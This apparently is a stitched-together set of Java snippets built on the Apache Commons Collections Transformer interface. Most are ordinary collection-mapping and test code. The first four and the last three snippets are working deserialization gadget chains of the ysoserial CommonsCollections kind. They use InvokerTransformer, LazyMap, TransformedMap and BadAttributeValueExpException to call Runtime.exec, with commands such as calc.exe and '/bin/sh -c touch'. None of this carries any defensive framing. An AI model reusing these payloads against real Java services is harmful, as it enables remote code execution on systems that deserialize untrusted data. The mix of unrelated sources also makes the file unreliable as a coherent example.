public static Object Reverse_Payload() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})}; Transformer transformerChain = new ChainedTransformer(transformers); Map pocMap = new HashMap(); pocMap.put("value", "value"); Map outmap = TransformedMap.decorate(pocMap, null, transformerChain); //通过反射获得AnnotationInvocationHandler类对象 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通过反射获得cls的构造函数 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); //这里需要设置Accessible为true,否则序列化失败 ctor.setAccessible(true); //通过newInstance()方法实例化对象 Object instance = ctor.newInstance(Retention.class, outmap); return instance; }
public Object getObject(final String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; }
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray()); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; }
public Object getObject(final String command) throws Exception { TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; }
@Override @SuppressWarnings("unchecked") public List<CertificationDTO> searchWithUsedAmount(final CertificationQuery queryParameters) { final List<Certification> certifications = certificationDao.seach(queryParameters); final Transformer transformer = new Transformer() { @Override public Object transform(final Object input) { final Certification certification = (Certification) input; return new CertificationDTO(certification, getUsedAmount(certification, false)); } }; List<CertificationDTO> result = (List<CertificationDTO>) CollectionUtils.collect(certifications, transformer, new ArrayList<CertificationDTO>()); if (certifications instanceof Page) { final Page<Certification> original = (Page<Certification>) certifications; final PageParameters pageParameters = new PageParameters(original.getPageSize(), original.getCurrentPage()); result = new PageImpl<CertificationDTO>(pageParameters, original.getTotalCount(), result); } return result; }
/** * Transform collection. * * @param organizationMappings the organization mappings * @return the list< organization> */ @SuppressWarnings ("unchecked") private List<Organization> transformCollection(List<OrganizationMapping> organizationMappings) { return (List<Organization>) CollectionUtils.collect(organizationMappings, new Transformer() { @Override public Object transform(Object input) { OrganizationMapping organizationMapping = (OrganizationMapping) input; return OrganizationAOFacadeImpl.this.transform(organizationMapping); } }); }
@SuppressWarnings("unchecked") public static List<Group> fromBitbucketGroups(List<BitbucketGroup> bitbucketGroups) { Collection<Group> transformedGroups = CollectionUtils.collect(bitbucketGroups, new Transformer() { @Override public Object transform(Object input) { BitbucketGroup bitbucketGroup = (BitbucketGroup) input; return new Group(StringUtils.trim(bitbucketGroup.getSlug()), bitbucketGroup.getName()); } }); return new LinkedList<Group>(transformedGroups); }
@SuppressWarnings("unchecked") public static List<Repository> fromBitbucketRepositories(List<BitbucketRepository> bitbucketRepositories) { return (List<Repository>) CollectionUtils.collect(bitbucketRepositories, new Transformer() { @Override public Object transform(Object input) { BitbucketRepository bitbucketRepository = (BitbucketRepository) input; Repository repository = new Repository(); repository.setName(bitbucketRepository.getName()); repository.setSlug(bitbucketRepository.getSlug()); repository.setLogo(bitbucketRepository.getLogo()); repository.setFork(bitbucketRepository.isFork()); repository.setForkOf(createForkOfRepository(bitbucketRepository.getForkOf())); return repository; } }); }
@SuppressWarnings("unchecked") public static List<ChangesetFile> fromBitbucketChangesetFiles(List<BitbucketChangesetFile> changesetFiles) { return (List<ChangesetFile>) CollectionUtils.collect(changesetFiles, new Transformer() { @Override public Object transform(Object input) { BitbucketChangesetFile changesetFile = (BitbucketChangesetFile) input; ChangesetFileAction fileAction = ChangesetFileAction.valueOf(changesetFile.getType().toUpperCase()); return new ChangesetFile(fileAction, changesetFile.getFile()); } }); }
@SuppressWarnings("unchecked") private static List<String> transformParents(List<Commit> parents) { if (parents == null) { return Collections.<String>emptyList(); } return (List<String>) CollectionUtils.collect(parents, new Transformer() { @Override public Object transform(Object input) { Commit commit = (Commit) input; return commit.getSha(); } }); }
@Override protected Object doInvoke(Context context) throws Exception { Iterator it=getIterator(context); if (lazy) { return it; }else{ return CollectionUtils.collect(it, new Transformer(){ @Override public Object transform(Object obj) { return obj; } }); } }
/** * Get granted authorities as collection of * SimpleGrantedAuthorities(roleName) for each role: * * TODO should be used by permission manager * * @return JAVADOC. */ @SuppressWarnings("unchecked") @Transient public Collection<?extends GrantedAuthority> getAuthorities() { Collection<Permission> permissions = getPermissions(); if (permissions == null) { return DEFAULT_AUTHORITIES; } return CollectionUtils.collect(permissions, new Transformer() { @Override public Object transform(Object arg0) { Permission permission = (Permission) arg0; BeanWrapper beanWrapper = new BeanWrapperImpl(permission.getRole()); String name = (String) beanWrapper.getPropertyValue("name"); return new SimpleGrantedAuthority(name); } }); }
/** * JAVADOC Method Level Comments * * @param arg0 * JAVADOC. * @param context * JAVADOC. * * @return JAVADOC. */ @SuppressWarnings("unchecked") @Override public boolean isValid(Workflow target, ConstraintValidatorContext context) { WorkflowHistory wflHistory = populateWfl(target.getLatestWorkflowHistory()); WorkflowHistory previousHistory = populateWfl(target.getWorkflowHistories() .get(target.getWorkflowHistories().size() - 2)); State[] oldPlaces = previousHistory.getProcessDefinition().getAllPlaces(); if (ArrayUtils.isEmpty(oldPlaces)) { return true; } Transformer transformer = new IdTransformer(); Collection<String> oldNames = CollectionUtils.collect(Arrays.asList(oldPlaces), transformer); State[] newPlaces = wflHistory.getProcessDefinition().getAllPlaces(); Collection<String> newNames = CollectionUtils.collect(Arrays.asList(newPlaces), transformer); return CollectionUtils.isSubCollection(oldNames, newNames); }
/** * List transitions which can be applied to this token. * * @param token * * @return JAVADOC. */ @SuppressWarnings({"unchecked"}) @Override public Collection<String> listTransitions(Token token, Map<String, Object> parameters) { ProcessSession session = processSessionFactory.openSession(token.getProcessDefinitionId()); ExecutionContext context = session.createExecutionContext(token, parameters); Collection<Transition> transes = session.getAvailableTransitions(context); return CollectionUtils.collect(transes, new Transformer() { @Override public Object transform(Object arg0) { if (arg0 == null) { return null; } return ((Transition) arg0).getId(); } }); }
public final void testLoadPxtSessionWhenPxtSessionIdIsNotNull() { setUpLoadPxtSession(); context().checking(new Expectations() { { allowing(mockRequest).getCookies(); will(returnValue(new Cookie[] {getPxtCookie()})); } }); pxtSessionDelegate.setFindPxtSessionByIdCallback(new Transformer() { public Object transform(Object arg) { if (PXT_SESSION_ID.equals(arg)) { return getPxtSession(); } return null; } }); pxtSessionDelegate.loadPxtSession(getRequest()); }
public static Resource createResourceWithAttachments(final ResourceManager resourceManager, final ApiRequest request, final IdFormatter idFormatter, final Schema schema, Object obj, Map<String,Object> inputAdditionalFields) { Map<String,Object> additionalFields = new LinkedHashMap<String, Object>(); additionalFields.putAll(DataUtils.getFields(obj)); if ( inputAdditionalFields != null && inputAdditionalFields.size() > 0 ) { additionalFields.putAll(inputAdditionalFields); } Map<String,Object> attachments = ApiUtils.getAttachements(obj, new Transformer() { @Override public Object transform(Object input) { input = ApiUtils.authorize(input); if ( input == null ) return null; return resourceManager.convertResponse(input, request); } }); additionalFields.putAll(attachments); return new WrappedResource(idFormatter, schema, obj, additionalFields); }
static private Transformer transformer(final FieldType ft) { return new Transformer() { BytesRefBuilder term = new BytesRefBuilder(); @Override public BytesRef transform(Object joinId) { String joinStr = joinId.toString(); // logic same as TermQParserPlugin if (ft != null) { ft.readableToIndexed(joinStr, term); } else { term.copyChars(joinStr); } return term.toBytesRef(); } }; }
static private Transformer transformer(final FieldType ft) { return new Transformer() { BytesRef term = new BytesRef(); @Override public BytesRef transform(Object joinId) { if (joinId == null) { throw new RuntimeException("joinId is null! (weird)"); } String joinStr = joinId.toString(); // logic same as TermQParserPlugin if (ft != null) { ft.readableToIndexed(joinStr, term); } else { term.copyChars(joinStr); } return BytesRef.deepCopyOf(term); } }; }
@Override public CloseableIterator<Index<?, ?>> getIndices() { final CloseableIterator<Index<?, ?>> it = persistentIndexStore.getIndices(); // cache any results return new CloseableIteratorWrapper<Index<?, ?>>( it, IteratorUtils.transformedIterator( it, new Transformer() { @Override public Object transform( final Object obj ) { if (obj instanceof Index<?, ?>) { indexCache.put( ((Index<?, ?>) obj).getId(), (Index<?, ?>) obj); } return obj; } })); }
@Override public CloseableIterator<DataAdapter<?>> getAdapters() { final CloseableIterator<DataAdapter<?>> it = persistentAdapterStore.getAdapters(); // cache any results return new CloseableIteratorWrapper<DataAdapter<?>>( it, IteratorUtils.transformedIterator( it, new Transformer() { @Override public Object transform( final Object obj ) { if (obj instanceof DataAdapter) { adapterCache.put( ((DataAdapter) obj).getAdapterId(), (DataAdapter) obj); } return obj; } })); }
private static Collection<InfoDegreeCurricularPlan> getActiveDegreeCurricularPlansByDegreeType( Predicate<DegreeType> degreeType, AccessControlPredicate<Object> permission) { List<DegreeCurricularPlan> degreeCurricularPlans = new ArrayList<DegreeCurricularPlan>(); for (DegreeCurricularPlan dcp : DegreeCurricularPlan.readByDegreeTypeAndState(degreeType, DegreeCurricularPlanState.ACTIVE)) { if (permission != null) { if (!permission.evaluate(dcp.getDegree())) { continue; } } degreeCurricularPlans.add(dcp); } return CollectionUtils.collect(degreeCurricularPlans, new Transformer() { @Override public Object transform(Object arg0) { DegreeCurricularPlan degreeCurricularPlan = (DegreeCurricularPlan) arg0; return InfoDegreeCurricularPlan.newInfoFromDomain(degreeCurricularPlan); } }); }
protected List run(String degreeCurricularPlanID) throws FenixServiceException { // Read the Students DegreeCurricularPlan degreeCurricularPlan = FenixFramework.getDomainObject(degreeCurricularPlanID); Collection students = degreeCurricularPlan.getStudentCurricularPlansSet(); if ((students == null) || (students.isEmpty())) { throw new NonExistingServiceException(); } return (List) CollectionUtils.collect(students, new Transformer() { @Override public Object transform(Object arg0) { StudentCurricularPlan studentCurricularPlan = (StudentCurricularPlan) arg0; return InfoStudentCurricularPlan.newInfoFromDomain(studentCurricularPlan); } }); }
@Atomic public static Object run(InfoClass infoClass) { check(RolePredicates.RESOURCE_ALLOCATION_MANAGER_PREDICATE); SchoolClass schoolClass = FenixFramework.getDomainObject(infoClass.getExternalId()); Collection<Shift> shifts = schoolClass.getAssociatedShiftsSet(); return CollectionUtils.collect(shifts, new Transformer() { @Override public Object transform(Object arg0) { Shift shift = (Shift) arg0; InfoShift infoShift = InfoShift.newInfoFromDomain(shift); return infoShift; } }); }
@Atomic public static Object run(InfoClass infoClass) { check(RolePredicates.RESOURCE_ALLOCATION_MANAGER_PREDICATE); List infoShifts = null; SchoolClass schoolClass = FenixFramework.getDomainObject(infoClass.getExternalId()); Set<Shift> shifts = schoolClass.findAvailableShifts(); infoShifts = (List) CollectionUtils.collect(shifts, new Transformer() { @Override public Object transform(Object arg0) { Shift shift = (Shift) arg0; return InfoShift.newInfoFromDomain(shift); } }); return infoShifts; }
final public boolean isCurricularCourseApproved(CurricularCourse curricularCourse) { List studentApprovedEnrollments = getStudentEnrollmentsWithApprovedState(); List<CurricularCourse> result = (List<CurricularCourse>) CollectionUtils.collect(studentApprovedEnrollments, new Transformer() { @Override final public Object transform(Object obj) { Enrolment enrollment = (Enrolment) obj; return enrollment.getCurricularCourse(); } }); return isApproved(curricularCourse, result); }
@Test public void shouldShowAllRevisionsWhenFanInIsOff() { GitMaterial g1 = u.wf(new GitMaterial("g1"), "f1"); u.checkinInOrder(g1, "g1-1"); u.checkinInOrder(g1, "g1-2"); ScheduleTestUtil.AddedPipeline p1 = u.saveConfigWithGroup("g1", "p1", u.m(g1)); ScheduleTestUtil.AddedPipeline p2 = u.saveConfigWithGroup("g1", "p2", u.m(g1)); ScheduleTestUtil.AddedPipeline p3 = u.saveConfigWithGroup("g2", "p3", u.m(p1), u.m(p2)); String p1_1 = u.runAndPass(p1, "g1-1"); String p2_1 = u.runAndPass(p2, "g1-2"); String p3_1 = u.runAndPass(p3, p1_1, p2_1); ValueStreamMapPresentationModel graph = valueStreamMapService.getValueStreamMap("p3", 1, username, result); Node nodeForGit = graph.getNodesAtEachLevel().get(0).get(0); assertThat(nodeForGit.revisions().size(), is(2)); Collection<String> revisionStrings = collect(nodeForGit.revisions(), new Transformer() { @Override public String transform(Object o) { Revision revision = (Revision) o; return revision.getRevisionString(); } }); assertThat(revisionStrings, IsCollectionContaining.hasItems("g1-1", "g1-2")); }
@Test public void shouldRegisterAllGoConfigValidators() { List<String> list = (List<String>) collect(MagicalGoConfigXmlLoader.VALIDATORS, new Transformer() { @Override public Object transform(Object o) { return o.getClass().getCanonicalName(); } }); assertThat(list, hasItem(ArtifactDirValidator.class.getCanonicalName())); assertThat(list, hasItem(EnvironmentAgentValidator.class.getCanonicalName())); assertThat(list, hasItem(EnvironmentPipelineValidator.class.getCanonicalName())); assertThat(list, hasItem(ServerIdImmutabilityValidator.class.getCanonicalName())); assertThat(list, hasItem(CommandRepositoryLocationValidator.class.getCanonicalName())); assertThat(list, hasItem(TokenGenerationKeyImmutabilityValidator.class.getCanonicalName())); }
public Map<WellKey, ResultValue> findResultValuesByPlate(final Integer plateNumber, final DataColumn col) { List<ResultValue> result = runQuery(new edu.harvard.med.screensaver.db.Query() { public List<?> execute(Session session) { // NOTE: added fetch of the library into the session to fix lazy update problem when calling rv.isEdgeWell()->well.isEdgeWell() which needs the library see: [#1376]- sde4 String hql = "select r from ResultValue r " + "left join fetch r.well w join fetch w.library l " + "where r.dataColumn.id = :colId and w.id >= :firstWellInclusive " + "and w.id < :lastWellExclusive"; Query query = session.createQuery(hql); query.setParameter("colId", col.getEntityId()); query.setParameter("firstWellInclusive", new WellKey(plateNumber, 0, 0).toString()); query.setParameter("lastWellExclusive", new WellKey(plateNumber + 1, 0, 0).toString()); return query.list(); } }); Map<WellKey, ResultValue> result2 = CollectionUtils.indexCollection(result, // note: calling rv.getWell().getWellId() does *not* require a db hit, since // a proxy can return its ID w/o forcing Hibernate to access the db; // so we use the id to instantiate the WellKey new Transformer() { public Object transform(Object rv) { return new WellKey(((ResultValue) rv).getWell().getWellId()); } }, WellKey.class, ResultValue.class); return result2; }
/** * Indexes a collection by creating a map that allows each element of the * specified collection to be looked up by its key. The key of each element is * determined by calling the <code>makeKey</code> Transformer on that * element. I sure miss Lisp. * * @return a Map */ public static <K, E> Map<K,E> indexCollection(Collection c, final Transformer getKey, Class<K> keyClass, Class<E> elementClass) { final Map<K,E> map = new HashMap<K,E>(c.size()); org.apache.commons.collections.CollectionUtils.forAllDo(c, new Closure() { @SuppressWarnings("unchecked") public void execute(Object e) { map.put((K) getKey.transform(e), (E) e); } }); return map; }
public void testIndexCollection() { Transformer getKey = new Transformer() { public Object transform(Object e) { return ((Struct) e).key; } }; List<Struct> c = new ArrayList<Struct>(); c.add(new Struct(1, "A")); c.add(new Struct(2, "B")); c.add(new Struct(3, "C")); Map<Integer,Struct> index = CollectionUtils.indexCollection(c, getKey, Integer.class, Struct.class); assertEquals(c.get(0), index.get(1)); assertEquals(c.get(1), index.get(2)); assertEquals(c.get(2), index.get(3)); }
@SuppressWarnings("unchecked") @Override public List<Device> getByUser(final String userId) { return (List<Device>) CollectionUtils.collect(devices, new Transformer() { @Override public Object transform(Object input) { Device device = (Device) input; if (device.userId.equals(userId)) { return device; } else { return null; } } }); }
@SuppressWarnings(UNCHECKED) private void writeSqlLine(String toTable, String[] fromTables, String[] columns, String[] selectEntries, Map<String, String> whereEntries) throws ParseException { StringBuilder sqlLine = new StringBuilder("insert into ").append(toTable); sqlLine.append(" (").append(StringUtils.join(columns, ",")).append(")"); sqlLine.append(" select ").append(StringUtils.join(selectEntries, ", ")); sqlLine.append(" from ").append(StringUtils.join(fromTables, ", ")); sqlLine.append(" where "); sqlLine.append(StringUtils.join(CollectionUtils.transformedCollection(whereEntries.entrySet(), new Transformer() { public Object transform(Object o) { Map.Entry<String, String> whereEntry = (Map.Entry<String, String>) o; return new StringBuilder(whereEntry.getKey()).append(" = ").append(whereEntry.getValue()) .toString(); } }), " and ")); sqlLine.append(";\n"); try { sqlFileWriter.write(sqlLine.toString()); } catch (IOException e) { throw new ParseException(e); } }
/** * Executes the report, selecting the first column OR the column designated to make up the parameters values. * {@inheritDoc} */ @JsonIgnore @Override public Collection<Object> getValues() { ReportConnector reportConnector = report.getReportConnector(); reportConnector.run(extra); if (reportConnector.getRows() == null) return new ArrayList<Object>(); return CollectionUtils.collect(reportConnector.getRows(), new Transformer() { @Override public Object transform(Object input) { Map<String, Object> map = (Map<String, Object>) input; if (map.size() == 1) return map.values().iterator().next(); else return map.get(selectedColumn); } }); }
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val; }
public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; }
@SuppressWarnings ( {"unchecked"} ) public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado Transformer[] transformers = new Transformer[] { // retorna Class Runtime.class new ConstantTransformer(Runtime.class), // 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0]) new InvokerTransformer( "getMethod", // invoca método getMethod ( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[]) ( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0]) ), // 2o. Objeto InvokerTransformer: .invoke(null, new Object[0]) new InvokerTransformer( "invoke", // invoca método: invoke (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[]) (new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0]) ), // 3o. Objeto InvokerTransformer: .exec(cmd[]) new InvokerTransformer( "exec", // invoca método: exec new Class[] { String[].class }, // tipos dos parâmetros: (String[]) new Object[]{ cmd } ) // parâmetros: (cmd[]) }; // Cria o objeto ChainedTransformer com o array de Transformers: Transformer transformerChain = new ChainedTransformer(transformers); // Cria o map Map map = new HashMap(); // Decora o map com o LazyMap e a cadeia de transformações como factory Map lazyMap = LazyMap.decorate(map,transformerChain); lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM) }